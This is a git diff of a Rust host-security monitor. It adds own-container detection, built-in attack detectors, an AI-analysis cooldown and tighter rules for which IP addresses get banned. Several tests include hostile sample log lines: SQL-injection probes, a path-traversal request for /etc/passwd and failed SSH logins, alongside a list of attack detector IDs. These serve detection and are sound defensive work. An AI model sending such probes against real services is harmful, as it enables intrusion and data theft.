ID. +fn container_id_from_mountinfo(contents: &str) -> Option { + contents + .lines() + .filter(|line| line.contains("/containers/")) + .find_map(extract_container_id) + .or_else(|| contents.lines().find_map(extract_container_id)) +} + +/// Best-effort detection of the container Stackdog itself runs in. +/// +/// Reading the hostname is not enough: under `network_mode: host` the container +/// inherits the host's hostname instead of its own short ID. +/// +/// Two sources are consulted, because neither covers every setup: +/// `/proc/self/cgroup` carries the ID under cgroup v1 and under v2 with a host +/// cgroup namespace, but collapses to a bare `0::/` under v2 with the private +/// namespace Docker now defaults to. `/proc/self/mountinfo` still names the ID +/// there. Both live under `/proc/self`, which a process can always read for +/// itself, and neither is in Docker's masked-path list. +/// +/// Returns `None` outside containers, and when detection fails; set +/// `STACKDOG_SELF_CONTAINER_ID` to pin the ID by hand in that case. +pub fn self_container_id() -> Option { + if let Ok(id) = std::env::var("STACKDOG_SELF_CONTAINER_ID") { + let id = id.trim().to_string(); + if !id.is_empty() { + return Some(id); + } + } + + if let Ok(contents) = std::fs::read_to_string("/proc/self/cgroup") { + if let Some(id) = contents.lines().find_map(extract_container_id) { + return Some(id); + } + } + + if let Ok(contents) = std::fs::read_to_string("/proc/self/mountinfo") { + if let Some(id) = container_id_from_mountinfo(&contents) { + return Some(id); + } + } + + None +} + /// Discover Docker container log sources +/// +/// Skips Stackdog's own container: reading our own stdout feeds every internal +/// error back into the analyzer, which then reports it as a finding. pub async fn discover_docker_sources() -> Result> { use crate::docker::DockerClient; @@ -135,8 +220,37 @@ pub async fn discover_docker_sources() -> Result> { }; let containers = client.list_containers(false).await?; + let self_id = self_container_id(); + if self_id.is_none() { + log::debug!( + "Could not determine own container ID; if Stackdog runs in Docker its own logs \ + will be analyzed as a source. Set the {} label on the container, or \ + STACKDOG_SELF_CONTAINER_ID, to prevent that.", + IGNORE_LABEL + ); + } let sources = containers .into_iter() + .filter(|c| { + if is_ignored_by_label(&c.labels) { + log::debug!( + "Skipping container {} — {} label is set", + c.name, + IGNORE_LABEL + ); + return false; + } + match &self_id { + Some(self_id) => { + let is_self = self_id.starts_with(&c.id) || c.id.starts_with(self_id.as_str()); + if is_self { + log::debug!("Skipping own container {} in log discovery", c.id); + } + !is_self + } + None => true, + } + }) .map(|c| { let name = format!("docker:{}", c.name); LogSource::new(LogSourceType::DockerContainer, c.id, name) @@ -180,6 +294,77 @@ pub async fn discover_all(extra_paths: &[String]) -> Result> { #[cfg(test)] mod tests { use super::*; + + #[test] + fn test_is_ignored_by_label_accepts_truthy_values() { + for value in ["true", "TRUE", "1", " yes ", "on"] { + let labels = + std::collections::HashMap::from([(IGNORE_LABEL.to_string(), value.to_string())]); + assert!( + is_ignored_by_label(&labels), + "expected {value} to be truthy" + ); + } + } + + #[test] + fn test_is_ignored_by_label_ignores_other_values_and_labels() { + let off = + std::collections::HashMap::from([(IGNORE_LABEL.to_string(), "false".to_string())]); + assert!(!is_ignored_by_label(&off)); + + let unrelated = std::collections::HashMap::from([( + "com.docker.compose.service".to_string(), + "stackdog".to_string(), + )]); + assert!(!is_ignored_by_label(&unrelated)); + + assert!(!is_ignored_by_label(&std::collections::HashMap::new())); + } + + #[test] + fn test_container_id_from_mountinfo_prefers_container_path() { + // Overlay layer hashes appear first and are not container IDs. + let mountinfo = "\ +1234 1200 0:100 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\ +1250 1234 0:60 /containers/6b55165e7b09f91066e8acfd833c69f9b3cf441b948971c93d7f5a15c621ce7f/resolv.conf /etc/resolv.conf rw - ext4 /dev/vda1 rw\n"; + + assert_eq!( + container_id_from_mountinfo(mountinfo).as_deref(), + Some("6b55165e7b09f91066e8acfd833c69f9b3cf441b948971c93d7f5a15c621ce7f") + ); + } + + #[test] + fn test_container_id_from_mountinfo_returns_none_on_host() { + let mountinfo = "25 30 0:23 / /proc rw,nosuid,nodev,noexec - proc proc rw\n"; + assert_eq!(container_id_from_mountinfo(mountinfo), None); + } + + #[test] + fn test_extract_container_id_from_proc_lines() { + // cgroup v1 + assert_eq!( + extract_container_id( + "11:devices:/docker/a70b8c987795e1f3aa1c0d1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f" + ) + .as_deref(), + Some("a70b8c987795e1f3aa1c0d1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f") + ); + + // cgroup v2 / systemd scope + assert_eq!( + extract_container_id( + "0::/system.slice/docker-a70b8c987795e1f3aa1c0d1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f.scope" + ) + .as_deref(), + Some("a70b8c987795e1f3aa1c0d1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f") + ); + + // Nothing container-shaped on a plain host + assert_eq!(extract_container_id("0::/init.scope"), None); + assert_eq!(extract_container_id("12:pids:/user.slice"), None); + } use std::io::Write; use tempfile::NamedTempFile; diff --git a/src/sniff/mod.rs b/src/sniff/mod.rs index 8a3d07d..4b41a31 100644 --- a/src/sniff/mod.rs +++ b/src/sniff/mod.rs @@ -10,24 +10,37 @@ pub mod discovery; pub mod reader; pub mod reporter; -use crate::alerting::notifications::NotificationConfig; +use crate::alerting::{notifications::NotificationConfig, AlertSeverity}; use crate::database::connection::{create_pool, init_database, DbPool}; use crate::database::repositories::log_sources as log_sources_repo; -use crate::ip_ban::{IpBanConfig, IpBanEngine, OffenseInput}; +use crate::detectors::php_shell; +use crate::detectors::sshole; +use crate::detectors::DetectorRegistry; +use crate::docker::DockerClient; +use crate::ip_ban::{gate, IpBanConfig, IpBanEngine, OffenseInput}; use crate::sniff::analyzer::{LogAnalyzer, PatternAnalyzer}; use crate::sniff::config::SniffConfig; use crate::sniff::consumer::LogConsumer; use crate::sniff::discovery::LogSourceType; use crate::sniff::reader::{DockerLogReader, FileLogReader, LogReader}; use crate::sniff::reporter::Reporter; +use crate::tools::ToolRegistry; use anyhow::Result; +use chrono::Utc; +use std::collections::HashMap; +use std::net::Ipv4Addr; +use std::sync::Mutex; /// Main orchestrator for the sniff command pub struct SniffOrchestrator { config: SniffConfig, pool: DbPool, + detectors: DetectorRegistry, reporter: Reporter, ip_ban: Option, + tool_registry: ToolRegistry, + /// Last AI analysis time per source (prevents re-analyzing every 30s) + last_ai_analysis: Mutex>>, } impl SniffOrchestrator { @@ -35,7 +48,7 @@ impl SniffOrchestrator { let pool = create_pool(&config.database_url)?; init_database(&pool)?; - let mut notification_config = NotificationConfig::default(); + let mut notification_config = NotificationConfig::from_env(); if let Some(ref url) = config.slack_webhook { notification_config = notification_config.with_slack_webhook(url.clone()); } @@ -58,17 +71,34 @@ impl SniffOrchestrator { notification_config = notification_config.with_email_recipients(config.email_recipients.clone()); } - let reporter = Reporter::new(notification_config); + let reporter = Reporter::new(notification_config, config.alert_dedup_window_secs); let ip_ban_config = IpBanConfig::from_env(); let ip_ban = ip_ban_config .enabled .then(|| IpBanEngine::new(pool.clone(), ip_ban_config)); + let detector_registry = || { + let mut registry = DetectorRegistry::default(); + if !config.phpshell_enabled { + registry.remove_detector(php_shell::ACCESS_DETECTOR_ID); + } + if !config.sshole_enabled { + registry.remove_detector(sshole::PASSWORD_LOGIN_DETECTOR_ID); + } + registry + }; + let tool_registry = + ToolRegistry::new(pool.clone(), IpBanConfig::from_env(), detector_registry()); + let detectors = detector_registry(); + Ok(Self { config, pool, + detectors, reporter, ip_ban, + tool_registry, + last_ai_analysis: Mutex::new(HashMap::new()), }) } @@ -85,6 +115,8 @@ impl SniffOrchestrator { self.config.ai_api_url.clone(), self.config.ai_api_key.clone(), self.config.ai_model.clone(), + self.config.ai_timeout_secs, + self.config.ai_max_tokens, )) } config::AiProvider::Candle => { @@ -123,6 +155,146 @@ impl SniffOrchestrator { pub async fn run_once(&self) -> Result { let mut result = SniffPassResult::default(); + // Expired bans are released here too, not only in `stackdog serve`: + // a sniff-only deployment bans, and must be able to unban. + if let Some(engine) = &self.ip_ban { + if let Err(err) = engine.unban_expired().await { + log::warn!("IP ban unban pass failed: {}", err); + } + } + + self.report_detector_batch( + &mut result, + "file-integrity", + self.config.integrity_paths.len(), + "File integrity monitoring", + self.detectors + .detect_file_integrity_anomalies(&self.pool, &self.config.integrity_paths)?, + ) + .await?; + self.report_detector_batch( + &mut result, + "config-assessment", + self.config.config_assessment_paths.len(), + "Configuration assessment", + self.detectors + .detect_config_assessment_anomalies(&self.config.config_assessment_paths)?, + ) + .await?; + self.report_detector_batch( + &mut result, + "package-audit", + self.config.package_inventory_paths.len(), + "Package inventory audit", + self.detectors + .detect_package_inventory_anomalies(&self.config.package_inventory_paths)?, + ) + .await?; + + let mut container_filesystems = Vec::new(); + match DockerClient::new().await { + Ok(docker) => { + if self.config.phpshell_enabled + || self.config.php_version_check_enabled + || self.config.sshole_enabled + || self.config.cve_watch_enabled + { + match docker.list_container_filesystems().await { + Ok(filesystems) => container_filesystems = filesystems, + Err(err) => log::debug!("Skipping container PHP checks: {}", err), + } + } + let postures = docker.list_container_postures(true).await?; + // Update tool registry with all postures (before filtering) + self.tool_registry.set_postures(postures.clone()); + let filtered: Vec<_> = postures + .into_iter() + .filter(|p| !self.config.trusted_containers.iter().any(|t| t == &p.name)) + .collect(); + self.report_detector_batch( + &mut result, + "docker-posture", + filtered.len(), + "Docker posture audit", + self.detectors.detect_docker_posture_anomalies(&filtered), + ) + .await?; + } + Err(err) => log::debug!("Skipping Docker posture audit: {}", err), + } + + // Before the logs: a shell found in this pass is matched against the + // access logs read in this same pass. + if self.config.phpshell_enabled { + let host_root = self.config.host_root.as_deref(); + let mut roots = php_shell::host_roots(&self.config.phpshell_paths, host_root); + roots.extend(php_shell::container_roots( + &container_filesystems, + &self.config.phpshell_container_patterns, + host_root, + )); + self.report_detector_batch( + &mut result, + "php-shell", + roots.len(), + "PHP shell scan", + self.detectors.detect_php_shell_anomalies( + &self.pool, + &roots, + &self.config.phpshell_options, + )?, + ) + .await?; + } + + if self.config.php_version_check_enabled { + let anomalies = self.detectors.detect_php_version_anomalies( + &container_filesystems, + self.config.host_root.as_deref(), + ); + self.report_detector_batch( + &mut result, + "php-version", + container_filesystems.len() + 1, + "PHP2Shell version check", + anomalies, + ) + .await?; + } + + if self.config.sshole_enabled { + let anomalies = self + .detectors + .detect_sshole_anomalies(&container_filesystems, self.config.host_root.as_deref()); + self.report_detector_batch( + &mut result, + "sshole", + container_filesystems.len() + 1, + "SSHole version check", + anomalies, + ) + .await?; + } + + if self.config.cve_watch_enabled { + let anomalies = self + .detectors + .detect_cve_anomalies( + &self.pool, + &container_filesystems, + self.config.host_root.as_deref(), + ) + .await; + self.report_detector_batch( + &mut result, + "cve-watch", + container_filesystems.len() + 1, + "CVE watch", + anomalies, + ) + .await?; + } + // 1. Discover sources log::debug!("Step 1: discovering log sources..."); let sources = discovery::discover_all(&self.config.extra_sources).await?; @@ -168,7 +340,91 @@ impl SniffOrchestrator { // 4. Analyze log::debug!("Step 4: analyzing {} entries...", entries.len()); - let summary = analyzer.summarize(&entries).await?; + + // Run built-in detectors first (free, local) + let detector_anomalies = self.detectors.detect_log_anomalies(&entries); + let has_errors = entries.iter().any(|e| { + let lower = e.line.to_lowercase(); + lower.contains("error") || lower.contains("fatal") || lower.contains("panic") + }); + + // Skip AI if no errors and no detector findings — use pattern analyzer + let skip_ai = !has_errors && detector_anomalies.is_empty(); + + // Check per-source cooldown (default 5 minutes between AI calls) + let source_key = reader.source_id().to_string(); + let cooldown_secs = std::env::var("STACKDOG_AI_COOLDOWN_SECS") + .ok() + .and_then(|v| v.parse::().ok()) + .unwrap_or(300); + let within_cooldown = { + let last = self.last_ai_analysis.lock().unwrap(); + last.get(&source_key) + .map(|t| (Utc::now() - t).num_seconds() < cooldown_secs) + .unwrap_or(false) + }; + + let mut summary = if skip_ai || within_cooldown { + if within_cooldown { + log::debug!( + " Source {} within cooldown ({}s), using pattern analyzer", + source_key, + cooldown_secs + ); + } else { + log::debug!(" No errors or detector findings, using pattern analyzer"); + } + analyzer::PatternAnalyzer::new().summarize(&entries).await? + } else if self.config.ai_tools_enabled { + // Tool-use path — single call, no fallback to avoid double billing + match analyzer + .summarize_with_tools(&entries, &self.tool_registry) + .await + { + Ok(summary) => { + self.last_ai_analysis + .lock() + .unwrap() + .insert(source_key.clone(), Utc::now()); + summary + } + Err(err) => { + log::warn!( + "AI analysis failed for {}: {}. Using pattern analyzer.", + reader.source_id(), + err + ); + analyzer::PatternAnalyzer::new().summarize(&entries).await? + } + } + } else { + match analyzer.summarize(&entries).await { + Ok(summary) => { + self.last_ai_analysis + .lock() + .unwrap() + .insert(source_key.clone(), Utc::now()); + summary + } + Err(err) => { + log::warn!( + "AI analysis failed for {}: {}. Using pattern analyzer.", + reader.source_id(), + err + ); + analyzer::PatternAnalyzer::new().summarize(&entries).await? + } + } + }; + if !detector_anomalies.is_empty() { + summary.key_events.extend( + detector_anomalies + .iter() + .take(5) + .map(|anomaly| anomaly.description.clone()), + ); + summary.anomalies.extend(detector_anomalies); + } log::debug!( " Analysis complete: {} errors, {} warnings, {} anomalies", summary.error_count, @@ -178,10 +434,23 @@ impl SniffOrchestrator { // 5. Report log::debug!("Step 5: reporting results..."); - let report = self.reporter.report(&summary, Some(&self.pool)).await?; - result.anomalies_found += report.anomalies_reported; + let source = &sources[i]; + // Per-source failures are logged and skipped rather than propagated: + // one unusable source (a missing firewall backend, an unreadable + // container) must not abort the whole pass and starve every source + // that comes after it. + match self + .reporter + .report(&summary, Some(&self.pool), Some(source)) + .await + { + Ok(report) => result.anomalies_found += report.anomalies_reported, + Err(err) => log::warn!("Reporting failed for {}: {}", source.path_or_id, err), + } if let Some(engine) = &self.ip_ban { - self.apply_ip_ban(&summary, engine).await?; + if let Err(err) = self.apply_ip_ban(&entries, source, &summary, engine).await { + log::warn!("IP ban step failed for {}: {}", source.path_or_id, err); + } } // 6. Consume (if enabled) @@ -208,12 +477,22 @@ impl SniffOrchestrator { } // 7. Update read position + // + // Keyed by path_or_id, not source_id: `LogSource::id` is a fresh UUID + // on every discovery pass, so it never matches the stored row and the + // offset would silently reset to 0 — re-reading the whole file forever. log::debug!("Step 7: saving read position ({})", reader.position()); - let _ = log_sources_repo::update_read_position( + if let Err(err) = log_sources_repo::update_read_position( &self.pool, - reader.source_id(), + &source.path_or_id, reader.position(), - ); + ) { + log::warn!( + "Failed to save read position for {}: {}", + source.path_or_id, + err + ); + } } Ok(result) @@ -221,10 +500,18 @@ impl SniffOrchestrator { async fn apply_ip_ban( &self, + entries: &[reader::LogEntry], + source: &discovery::LogSource, summary: &analyzer::LogSummary, engine: &IpBanEngine, ) -> Result<()> { + self.apply_auth_log_ip_ban(entries, source, engine).await?; + for anomaly in &summary.anomalies { + if !should_auto_ban(anomaly) { + continue; + } + let severity = match anomaly.severity { analyzer::AnomalySeverity::Low => crate::alerting::AlertSeverity::Low, analyzer::AnomalySeverity::Medium => crate::alerting::AlertSeverity::Medium, @@ -232,16 +519,70 @@ impl SniffOrchestrator { analyzer::AnomalySeverity::Critical => crate::alerting::AlertSeverity::Critical, }; - for ip in IpBanEngine::extract_ip_candidates(&anomaly.sample_line) { + let ips = implicated_ips(anomaly); + if ips.is_empty() { + log::debug!( + "No IP implicated by anomaly, skipping ban: {}", + anomaly.description + ); + continue; + } + + for ip in ips { + let target_ip = resolve_ban_target(&ip, &anomaly.sample_line, engine); + if !is_public_routable_ipv4(&target_ip) { + continue; + } + engine .record_offense(OffenseInput { - ip_address: ip, + ip_address: target_ip, source_type: "sniff".into(), reason: anomaly.description.clone(), severity, - container_id: None, - source_path: None, + container_id: source_container_id(source), + source_path: source_path(source, None), sample_line: Some(anomaly.sample_line.clone()), + // A password login to a key-only account is already a + // foothold: waiting for five gives the intruder time to + // switch the monitoring off. One line bans. + immediate: anomaly.detector_id.as_deref() + == Some(sshole::PASSWORD_LOGIN_DETECTOR_ID), + }) + .await?; + } + } + + Ok(()) + } + + async fn apply_auth_log_ip_ban( + &self, + entries: &[reader::LogEntry], + source: &discovery::LogSource, + engine: &IpBanEngine, + ) -> Result<()> { + for entry in entries { + let Some((reason, severity)) = ssh_auth_failure_offense(&entry.line) else { + continue; + }; + + for ip in accused_ips_in_auth_line(&entry.line) { + let target_ip = resolve_ban_target(&ip, &entry.line, engine); + if !is_public_routable_ipv4(&target_ip) { + continue; + } + + engine + .record_offense(OffenseInput { + ip_address: target_ip, + source_type: "sniff".into(), + reason: reason.into(), + severity, + container_id: source_container_id(source), + source_path: source_path(source, Some(entry)), + sample_line: Some(entry.line.clone()), + immediate: false, }) .await?; } @@ -250,10 +591,51 @@ impl SniffOrchestrator { Ok(()) } + async fn report_detector_batch( + &self, + result: &mut SniffPassResult, + source_id: &str, + total_entries: usize, + label: &str, + anomalies: Vec, + ) -> Result<()> { + if anomalies.is_empty() { + return Ok(()); + } + + let summary = analyzer::LogSummary { + source_id: source_id.into(), + period_start: Utc::now(), + period_end: Utc::now(), + total_entries, + summary_text: format!("{} detected {} anomaly entries", label, anomalies.len()), + error_count: 0, + warning_count: 0, + key_events: anomalies + .iter() + .take(5) + .map(|anomaly| anomaly.description.clone()) + .collect(), + anomalies, + }; + let report = self + .reporter + .report(&summary, Some(&self.pool), None) + .await?; + result.anomalies_found += report.anomalies_reported; + Ok(()) + } + /// Run the sniff loop (continuous or one-shot) - pub async fn run(&self) -> Result<()> { + pub async fn run(&mut self) -> Result<()> { log::info!("🔍 Sniff orchestrator started"); + // Docker subnets join the ban gate once the async runtime is up: + // addresses of our own containers must never be banned. + if let Some(engine) = self.ip_ban.as_mut() { + engine.refresh_local_context().await; + } + loop { match self.run_once().await { Ok(result) => { @@ -292,6 +674,185 @@ pub struct SniffPassResult { pub entries_archived: usize, } +fn should_auto_ban(anomaly: &analyzer::LogAnomaly) -> bool { + if let Some(detector_id) = anomaly.detector_id.as_deref() { + if matches!( + detector_id, + "web.login-bruteforce" + | "web.path-traversal" + | "web.archive-probe" + | "web.sqli-probe" + | "web.webshell-probe" + | "web.php-shell-access" + | "web.php2shell-attempt" + | "ssh.password-login" + | "file.sensitive-access" + | "cloud.metadata-ssrf" + ) { + return true; + } + // Alert-only by policy. Their descriptions carry file and URL paths, + // and a shell named `webshell.php` would otherwise pass the phrase + // check below. The PHP2Shell and SSHole findings name no client at all. + if matches!( + detector_id, + "php.shell-file" + | "php.shell-request" + | "vuln.php2shell" + | "php.worker-crash" + | "vuln.sshole" + | "vuln.cve-watch" + ) { + return false; + } + } + + if !crate::alerting::notifications::env_flag_enabled("STACKDOG_IP_BAN_FROM_AI_FINDINGS", true) { + return false; + } + + // Phrases specific enough to name an attack — the shared list in + // `ip_ban::gate`, so the sniff path and the AI tool ban on the same + // grounds. Deliberately excluded: "frequent access", "targeting", + // "possible attack", "rejected connection", "scanning" — an analyzer + // writing free text produces those about ordinary traffic, and each one + // banned real visitors. + gate::names_confirmed_attack(&anomaly.description) +} + +/// If `ip` is a trusted proxy, try to extract the real client IP from +/// X-Forwarded-For / X-Real-IP in the log line. Otherwise return `ip` as-is. +fn resolve_ban_target(ip: &str, line: &str, engine: &IpBanEngine) -> String { + let Ok(parsed) = ip.parse::() else { + return ip.to_string(); + }; + if engine.config().is_trusted_proxy(&parsed) { + if let Some(real_ip) = IpBanEngine::extract_forwarded_ip(line) { + log::debug!( + "Resolved proxied IP {} -> {} via X-Forwarded-For", + ip, + real_ip + ); + return real_ip; + } + } + ip.to_string() +} + +fn ssh_auth_failure_offense(line: &str) -> Option<(&'static str, AlertSeverity)> { + let line = line.to_ascii_lowercase(); + + if line.contains("failed password for") { + return Some(("Failed ssh login", AlertSeverity::High)); + } + + if line.contains("auth fail [preauth]") { + return Some(( + "SSH authentication failed during preauth", + AlertSeverity::High, + )); + } + + None +} + +fn source_container_id(source: &discovery::LogSource) -> Option { + matches!( + source.source_type, + discovery::LogSourceType::DockerContainer + ) + .then(|| source.path_or_id.clone()) +} + +fn source_path(source: &discovery::LogSource, entry: Option<&reader::LogEntry>) -> Option { + entry + .and_then(|entry| entry.metadata.get("source_path").cloned()) + .or_else(|| { + matches!( + source.source_type, + discovery::LogSourceType::SystemLog | discovery::LogSourceType::CustomFile + ) + .then(|| source.path_or_id.clone()) + }) +} + +/// The address an auth-log line accuses, if it says so unambiguously. +/// +/// sshd writes "Failed password for root from 1.2.3.4 port 22" and PAM writes +/// "rhost=1.2.3.4"; both name the client. When a line carries several addresses +/// and none of those markers, there is no way to tell the attacker from a +/// bystander, so nobody is accused. +fn accused_ips_in_auth_line(line: &str) -> Vec { + let lower = line.to_ascii_lowercase(); + + for marker in [" from ", "rhost=", "client="] { + if let Some(position) = lower.find(marker) { + let tail = &line[position + marker.len()..]; + if let Some(ip) = IpBanEngine::extract_ip_candidates(tail).into_iter().next() { + return vec![ip]; + } + } + } + + let candidates = IpBanEngine::extract_ip_candidates(line); + if candidates.len() == 1 { + return candidates; + } + + if candidates.len() > 1 { + log::debug!( + "Auth line names {} addresses and no client marker, accusing none", + candidates.len() + ); + } + Vec::new() +} + +/// Addresses an anomaly actually accuses. +/// +/// Only the evidence counts: the line that triggered the finding, and the +/// description, which the analyzer often writes as "Probing attempts detected +/// from IP 1.2.3.4". +/// +/// This deliberately has no fallback. Harvesting every address in the batch +/// when the evidence names none used to ban whole containers' worth of +/// visitors at once, all with the same reason and the same sample line — one +/// finding, punishment for everybody who appeared in the log. An unattributed +/// finding is worth an alert, not a ban. +fn implicated_ips(anomaly: &analyzer::LogAnomaly) -> Vec { + let mut ips = IpBanEngine::extract_ip_candidates(&anomaly.sample_line); + if ips.is_empty() { + ips = IpBanEngine::extract_ip_candidates(&anomaly.description); + } + ips.sort(); + ips.dedup(); + ips +} + +fn is_public_routable_ipv4(ip: &str) -> bool { + let Ok(ip) = ip.parse::() else { + return false; + }; + + !(ip.is_private() + || ip.is_loopback() + || ip.is_link_local() + || ip.is_multicast() + || ip.is_broadcast() + || ip.is_unspecified() + || ip.octets()[0] == 0 + // x.0.0.0 is a network address, never a client — and it is the shape a + // browser version leaves behind ("Chrome/122.0.0.0"). + || ip.octets()[1..] == [0, 0, 0] + || (ip.octets()[0] == 100 && (64..=127).contains(&ip.octets()[1])) + || (ip.octets()[0] == 198 && ip.octets()[1] == 18) + || (ip.octets()[0] == 198 && ip.octets()[1] == 19) + || (ip.octets()[0] == 192 && ip.octets()[1] == 0 && ip.octets()[2] == 2) + || (ip.octets()[0] == 198 && ip.octets()[1] == 51 && ip.octets()[2] == 100) + || (ip.octets()[0] == 203 && ip.octets()[1] == 0 && ip.octets()[2] == 113) + || ip.octets()[0] >= 240) +} + #[cfg(test)] mod tests { use super::*; @@ -321,7 +882,7 @@ mod tests { output: "./stackdog-logs/", sources: None, interval: 30, - ai_provider: None, + ai_provider: Some("candle"), ai_model: None, ai_api_url: None, slack_webhook: None, @@ -350,10 +911,49 @@ mod tests { description: "Repeated failed ssh login".into(), severity, sample_line: sample_line.into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, + }], + } + } + + fn make_detector_summary( + description: &str, + sample_line: &str, + severity: analyzer::AnomalySeverity, + detector_id: Option<&str>, + ) -> LogSummary { + LogSummary { + source_id: "test-source".into(), + period_start: Utc::now(), + period_end: Utc::now(), + total_entries: 1, + summary_text: description.into(), + error_count: 1, + warning_count: 0, + key_events: vec![description.into()], + anomalies: vec![LogAnomaly { + description: description.into(), + severity, + sample_line: sample_line.into(), + detector_id: detector_id.map(str::to_string), + detector_family: None, + confidence: None, + suggested_action: None, }], } } + fn test_log_source() -> discovery::LogSource { + discovery::LogSource::new( + discovery::LogSourceType::SystemLog, + "/var/log/auth.log".into(), + "auth.log".into(), + ) + } + #[test] fn test_sniff_pass_result_default() { let result = SniffPassResult::default(); @@ -363,6 +963,44 @@ mod tests { assert_eq!(result.bytes_freed, 0); } + #[test] + fn test_should_auto_ban_detector_backed_traversal_probe() { + let anomaly = LogAnomaly { + description: "Path traversal probing indicators found in 2 log entries".into(), + severity: AnomalySeverity::High, + sample_line: "GET /../../etc/passwd HTTP/1.1".into(), + detector_id: Some("web.path-traversal".into()), + detector_family: Some("Web".into()), + confidence: Some(82), + suggested_action: None, + }; + + assert!(should_auto_ban(&anomaly)); + } + + #[test] + fn test_should_not_auto_ban_secret_leakage_alerts() { + let anomaly = LogAnomaly { + description: "Potential secret leakage detected in 1 log entries".into(), + severity: AnomalySeverity::High, + sample_line: "Authorization: Bearer token".into(), + detector_id: Some("secrets.log-leakage".into()), + detector_family: Some("Secrets".into()), + confidence: Some(92), + suggested_action: None, + }; + + assert!(!should_auto_ban(&anomaly)); + } + + #[test] + fn test_is_public_routable_ipv4_skips_private_and_documentation_ranges() { + assert!(!is_public_routable_ipv4("127.0.0.1")); + assert!(!is_public_routable_ipv4("10.1.2.3")); + assert!(!is_public_routable_ipv4("192.0.2.10")); + assert!(is_public_routable_ipv4("95.163.183.214")); + } + #[test] fn test_orchestrator_creates_with_memory_db() { let mut config = SniffConfig::from_env_and_args(config::SniffArgs { @@ -426,67 +1064,495 @@ mod tests { assert!(result.total_entries >= 3); } - #[actix_rt::test] - async fn test_apply_ip_ban_records_offense_metadata_from_anomaly() { + #[tokio::test] + async fn test_orchestrator_persists_read_position_across_passes() { + use std::io::Write; + let dir = tempfile::tempdir().unwrap(); + let log_path = dir.path().join("position.log"); + { + let mut f = std::fs::File::create(&log_path).unwrap(); + writeln!(f, "INFO: service started").unwrap(); + writeln!(f, "ERROR: connection failed").unwrap(); + } + let path_str = log_path.to_string_lossy().to_string(); + + let mut config = SniffConfig::from_env_and_args(config::SniffArgs { + once: true, + consume: false, + output: "./stackdog-logs/", + sources: Some(&path_str), + interval: 30, + ai_provider: Some("candle"), + ai_model: None, + ai_api_url: None, + slack_webhook: None, + webhook_url: None, + smtp_host: None, + smtp_port: None, + smtp_user: None, + smtp_password: None, + email_recipients: None, + }); + config.database_url = ":memory:".into(); + + let orchestrator = SniffOrchestrator::new(config).unwrap(); + orchestrator.run_once().await.unwrap(); + + let file_len = std::fs::metadata(&log_path).unwrap().len(); + let saved = log_sources_repo::get_log_source_by_path(&orchestrator.pool, &path_str) + .unwrap() + .expect("source should be registered"); + assert_eq!( + saved.last_read_position, file_len, + "read position must persist so the next pass does not re-read the file" + ); + + { + let mut f = std::fs::OpenOptions::new() + .append(true) + .open(&log_path) + .unwrap(); + writeln!(f, "WARN: retry in 5s").unwrap(); + } + + orchestrator.run_once().await.unwrap(); + + let grown_len = std::fs::metadata(&log_path).unwrap().len(); + let saved = log_sources_repo::get_log_source_by_path(&orchestrator.pool, &path_str) + .unwrap() + .expect("source should still be registered"); + assert!(grown_len > file_len); + assert_eq!(saved.last_read_position, grown_len); + } + + #[tokio::test] + async fn test_orchestrator_applies_builtin_detectors_to_log_entries() { + use std::io::Write; + let dir = tempfile::tempdir().unwrap(); + let log_path = dir.path().join("attacks.log"); + { + let mut f = std::fs::File::create(&log_path).unwrap(); + writeln!(f, r#"GET /search?q=' OR 1=1 -- HTTP/1.1"#).unwrap(); + writeln!( + f, + r#"GET /search?q=UNION SELECT password FROM users HTTP/1.1"# + ) + .unwrap(); + writeln!(f, "sendmail invoked for attachment bytes=2000000").unwrap(); + writeln!(f, "smtp delivery queued bytes=3000000").unwrap(); + } + + let mut config = SniffConfig::from_env_and_args(config::SniffArgs { + once: true, + consume: false, + output: "./stackdog-logs/", + sources: Some(&log_path.to_string_lossy()), + interval: 30, + ai_provider: Some("candle"), + ai_model: None, + ai_api_url: None, + slack_webhook: None, + webhook_url: None, + smtp_host: None, + smtp_port: None, + smtp_user: None, + smtp_password: None, + email_recipients: None, + }); + config.database_url = ":memory:".into(); + + let orchestrator = SniffOrchestrator::new(config).unwrap(); + let result = orchestrator.run_once().await.unwrap(); + + assert!(result.anomalies_found >= 2); + } + + #[tokio::test] + async fn test_apply_auth_log_ip_ban_records_failed_ssh_attempts() { + use crate::sniff::discovery::{LogSource, LogSourceType}; + use crate::sniff::reader::LogEntry; + use std::collections::HashMap; + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); let engine = IpBanEngine::new( orchestrator.pool.clone(), IpBanConfig { enabled: true, - max_retries: 2, + max_retries: 10, find_time_secs: 300, ban_time_secs: 60, unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, }, ); - let summary = make_summary( - "Failed password for root from 192.0.2.80 port 2222 ssh2", - AnomalySeverity::High, + let source = LogSource::new( + LogSourceType::SystemLog, + "/var/log/auth.log".into(), + "auth.log".into(), ); + let entries = (0..5) + .map(|attempt| LogEntry { + source_id: source.id.clone(), + timestamp: Utc::now(), + line: format!( + "Apr 18 18:14:{attempt:02} host sshd[1234]: Failed password for invalid user test from 95.163.183.214 port 500{attempt} ssh2" + ), + metadata: HashMap::from([( + "source_path".into(), + "/var/log/auth.log".into(), + )]), + }) + .collect::>(); - orchestrator.apply_ip_ban(&summary, &engine).await.unwrap(); + orchestrator + .apply_auth_log_ip_ban(&entries, &source, &engine) + .await + .unwrap(); let offenses = find_recent_offenses( &orchestrator.pool, - "192.0.2.80", + "95.163.183.214", "sniff", Utc::now() - chrono::Duration::minutes(5), ) .unwrap(); + // One row per (ip, source_type), with the tally in offense_count. assert_eq!(offenses.len(), 1); - assert_eq!(offenses[0].reason, "Repeated failed ssh login"); - assert_eq!( - offenses[0] + assert_eq!(offenses[0].offense_count, 5); + assert!(offenses.iter().all(|offense| { + offense .metadata .as_ref() - .and_then(|metadata| metadata.sample_line.as_deref()), - Some("Failed password for root from 192.0.2.80 port 2222 ssh2") - ); - 